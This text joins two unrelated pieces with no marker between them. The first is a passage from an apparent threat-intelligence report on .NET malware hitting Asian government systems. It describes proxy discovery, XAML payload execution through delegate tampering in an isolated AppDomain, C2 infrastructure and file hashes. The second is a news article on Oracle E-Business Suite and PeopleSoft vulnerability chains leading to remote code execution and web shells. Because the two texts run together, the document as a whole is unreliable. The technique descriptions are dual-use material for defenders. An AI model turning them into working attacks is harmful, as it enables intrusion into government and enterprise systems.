The code implements an encapsulation of AES-CBC encryption combined with HMAC-SHA256 integrity verification. It uses a randomly generated IV to symmetrically encrypt the plaintext in CBC mode and produces ciphertext. Next, it calculates an SHA256 message authentication code for the concatenated “IV+ciphertext” using a separate HMAC key. Finally, it concatenates the three segments – IV (16 bytes) | ciphertext | HMAC (32 bytes) – into a single byte array that constitutes the final encrypted message. This follows the standard cryptographic Encrypt-then-MAC construction. The receiver must validate the HMAC before decrypting with the corresponding key and IV, which ensures confidentiality, integrity, and tamper resistance.

Discovering proxies

.NET 2 Plugin detects the system proxy using three methods:

• Retrieve the system‑wide proxy configuration using the Win32 WinHTTP API function WinHttpGetDefaultProxyConfiguration(), then extract the proxy server with the regular expression (?:([a-zA-Z]+)=)?(.*).
• If that fails, locate the running explorer.exe process, impersonate its access token using Impersonate(), and retrieve its proxy configuration with the .NET API WebProxy.GetDefaultProxy().
• If both methods fail, fall back to obtaining the proxy from the .NET property DefaultWebProxy.

These methods ensure that the malware can reach external networks even in complex network environments with proxies.

Execute downloaded XAML payload in an isolated AppDomain

This technique abuses MulticastDelegate again by using reflection to modify its private _invocationList array. .NET 2 Plugin creates a multicast delegate (CrossAppDomainDelegate) and replaces one entry in its invocation list with a malicious delegate pointing to XamlReader.Parse(). When AppDomain.DoCallBack() executes this multicast delegate, it iterates through the invocation list and invokes the injected XamlReader.Parse() to parse and execute the downloaded XAML.

In more detail, the process is as follows:

1. Create a new isolated AppDomain with a randomly generated GUID as its name.
2. Copy all configuration data from the current AppDomain into the new one.
3. Set the proxy information in the new AppDomain and assign it to the variable px.
4. Use TypeConfuseDelegate to replace TimeZoneInfo.ClearCachedData() with XamlReader.Parse(), thereby modifying the MulticastDelegate(CrossAppDomainDelegate).
5. Use appDomain.DoCallBack() to invoke XamlReader.Parse() within the isolated AppDomain, executing the downloaded XAML payload.
6. Transfer any updated configuration data from the new AppDomain back to the original AppDomain.
7. Unload the isolated AppDomain to complete the cleanup.

This technique keeps the downloaded malicious payload out of the main AppDomain, which increases stability and allows the payload to be fully cleaned up after execution.

Infrastructure

The attack relies on commercial hosting infrastructure. The C2 IP is part of Cloudflare’s CDN, and the domain name is registered with Cloudflare.

Domain IP First seen Domain Registrar/ASN openaigpt4v[.]com 104.18.14[.]219 Sep 27, 2023 Cloudflare, Inc. / 15169 Victims

Based on KSN telemetry data, we identified a single victim in Asia. Additionally, we learned that the malware was designed to target a specially customized government‑only version of the Windows operating system. Consequently, we infer that the victims are Asian government entities.

Attribution

After analyzing the TTPs, code similarities, and infrastructure, we were unable to link the attack to any known APT group.

Conclusions

Technological sovereignty has become a global trend. In today’s geopolitical climate, a growing number of countries are building their own core software platforms, including operating systems, databases, middleware, and cloud services, with operating systems often the top priority. The advantage is that each country controls the development, operation, and upgrading of its own operating systems, granting it full autonomy over the entire process. On the other hand, it also means that each country must protect this entire vast ecosystem on its own. Bringing the operation and maintenance of such a system to maturity is a lengthy process. Until then, both the system and its emerging supply chain could be exposed to attacks through multiple vectors, increasing potential vulnerabilities.

Indicators of Compromise File hashes

F2458ED133F8D0CA19E22C10F577E98E    e4537a1762fcafd2fd96bfc825bad34f9db9a24d
E1DC6F1ED193594F2284BE22AE08DFA4               Resources.resx
AB81564BCB8CA7E710C66832DE747556   .NET 1 Loader
CFB8B281BDF5D9390E64B10C312FB2C1              .NET 2 Plugin
67E3617F8709D34F806F8E02BADBA8A5    fabric.config
514AC0D73B8A1B73488EF5E2E55A75C3   PatchMyPC-ScriptRunner.exe.config
514117D536E347560D049CFE0C609632     XAML-1
9000820D8153C24CD60D53001D3A97B6    XAML-2
B3C4A635179680EDAFB5D006CF0CFFC6              XAML-2-1
4F28622C5E60C01319BF48CF742FE1A5    XAML-2-2
C86D53392A87DD3F3E62D62C9B92A9BD              XAML-3

File paths

C:\Windows\SoftwareDistribution\Download\Install\PatchMyPC-ScriptRunner.exe.config
C:\Windows\SoftwareDistribution\Download\Install\fabric.config
C:\Windows\SoftwareDistribution\Download\Install\Resources.resx

Domains and IPs

openaigpt4v[.]com

Attackers are probing a critical Oracle E-Business Suite vulnerability that can lead to remote code execution (RCE), despite Oracle issuing a patch earlier this month. Meanwhile, new analysis indicates that an Oracle PeopleSoft zero-day exploited by ShinyHunters as early as May involves three distinct vulnerabilities that can be combined to achieve RCE. Patching alone may not remove attackers from already compromised systems, particularly if they've installed web shells. First up: CVE-2026-101767, a critical, unauthenticated SQL injection bug in Oracle EBS that can lead to RCE. “Our Oracle E-Business Suite decoys recorded exploratory exploits against CVE-2026-101767, an unauthenticated SQL injection in EBS's Thin Client Framework servlet that chains to remote code execution, this morning, Oct 27,” Defused Cyber said in an X post. Horizon3 researchers found and disclosed the bug to Oracle, and the vendor patched the issue in its October release. “An attacker can send a crafted request to the vulnerable servlet to execute SQL with the privileges of the APPS database user,” Horizon3 explained at the time. “The attack chain also enables operating system command execution with the privileges of the EBS application account.” This means an unauthorized user can modify application data accessible to APPS, and execute commands. “Depending on the deployment, affected data may include financial, payroll, HR, and procurement records,” the bug hunters said. The Register reached out to Oracle with multiple questions for this story - including whether it has documented any successful exploitation of CVE-2026-101767 - and did not receive an immediate response. Moving on to the PeopleSoft-ShinyHunters fiasco: TrendAI’s Zero Day Initiative (ZDI) found and reported the PeopleSoft issues on June 10, and Oracle issued a patch under one vulnerability identifier: CVE-2026-35273. In early June, ShinyHunters told The Reg that the group hacked more than 100 organizations via an Oracle PeopleSoft zero-day, CVE-2026-35273. Google’s consulting and incident response biz, Mandiant, later confirmed the data theft and extortion crew exploited CVE-2026-35273 as a zero-day, mostly against schools and the education sector. By late September, however, Mandiant said ShinyHunters massively expanded its targeting, “deploying web shells on dozens of systems globally, spanning higher education, technology, IT services, healthcare, agriculture, transportation, and government.” According to ZDI bug hunter Bobby Gould, there are actually three distinct vulnerabilities across multiple PeopleSoft components, and each should receive its own CVE identifier rather than being grouped under CVE-2026-35273. Gould, along with TrendAI researchers Minh Giang and Lucas Miller, originally found and reported three distinct bugs to Oracle in June. “We are coordinating with Oracle to assign separate CVEs for each issue,” he said in a Tuesday blog. The first issue is a Server-Side Request Forgery (SSRF) vulnerability in the PeopleSoft Integration Gateway (PSIGW), which gives attackers a foothold in the PeopleSoft application. In June, Oracle introduced a “validateClient” method to allow PeopleSoft system administrators to restrict access to certain functionality. The SSRF bug, however, allows crims to make requests that satisfy the validation requirement to access endpoints vulnerable to RCE, Gould wrote. “While this solution does restrict access, an attacker on any trusted host can still reach PSEMHUB,” he said, referring to PeopleSoft Environment Management Hub (PSEMHUB). “Because Oracle allows localhost by default, the PSIGW SSRF provides exactly that access.” The second bug is an external control of file path vulnerability in PSEMHUB’s ExecuteProcessActivityCommand handler. This message handler is designed to allow remote clients to write log entries to the PeopleSoft server’s filesystem - but it doesn’t properly validate requests, which allows an attacker to write a web shell into a file path and achieve RCE. The third vulnerability, also in PSEMHUB, is a deserialization of untrusted data flaw. An attacker can use a file-write vulnerability to plant a malicious XML file inside a PeopleSoft directory that stores environment configuration data, then wait for PSEMHUB to initialize, such as after a service or system restart. This triggers deserialization of the malicious XML file, potentially allowing the attacker to achieve RCE. “Attackers can combine these vulnerabilities to compromise affected instances of PeopleSoft,” Gould warned.®